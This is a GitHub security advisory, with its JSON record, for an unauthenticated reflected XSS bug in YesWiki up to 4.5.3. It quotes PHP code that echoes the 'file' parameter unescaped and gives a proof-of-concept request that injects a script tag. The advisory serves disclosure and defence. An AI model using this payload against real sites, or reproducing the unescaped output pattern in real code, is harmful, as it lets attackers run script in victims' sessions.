ghsa-2f8p-qqx2-gwr2
Vulnerability from github
Published
2025-04-29 14:38
Modified
2025-04-29 14:38
Severity ?
7.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L
Summary
YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting
Details

Summary

Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

  • YesWiki v4.5.3 (doryphore-dev branch)
  • Docker environnment (docker/docker-compose.yml)

Vulnerable code

The vulnerability is located in the file public function showUploadForm() { $this->file = $_GET['file']; echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n"; echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n" . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n" . ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n" . " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n" . " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n" . ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n" . "</form>\n"; }

PoC

  1. You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: localhost:8085 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: ru-RU,ru;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive
  2. Get a response Снимок экрана 2025-04-11 в 02 04 55

Impact

This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T14:38:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n        public function showUploadForm()\n        {\n            $this-\u003efile = $_GET[\u0027file\u0027];\n            echo \u0027\u003ch3\u003e\u0027 . _t(\u0027ATTACH_UPLOAD_FORM_FOR_FILE\u0027) . \u0027 \u0027 . $this-\u003efile . \"\u003c/h3\u003e\\n\";\n            echo \u0027\u003cform enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"\u0027 . $this-\u003ewiki-\u003ehref(\u0027upload\u0027, $this-\u003ewiki-\u003eGetPageTag()) . \"\\\"\u003e\\n\"\n                . \u0027\t\u003cinput type=\"hidden\" name=\"wiki\" value=\"\u0027 . $this-\u003ewiki-\u003eGetPageTag() . \"/upload\\\" /\u003e\\n\"\n                . \u0027\t\u003cinput type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"\u0027 . $this-\u003eattachConfig[\u0027max_file_size\u0027] . \"\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this-\u003efile\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /\u003e\u003cbr /\u003e\\n\"\n                . \u0027\t\u003cinput class=\"btn btn-primary\" type=\"submit\" value=\"\u0027 . _t(\u0027ATTACH_SAVE\u0027) . \"\\\" /\u003e\\n\"\n                . \"\u003c/form\u003e\\n\";\n        }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload\u0026file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n\u003cimg width=\"853\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-04-11 \u0432 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" /\u003e\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions",
  "id": "GHSA-2f8p-qqx2-gwr2",
  "modified": "2025-04-29T14:38:12Z",
  "published": "2025-04-29T14:38:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting"
}


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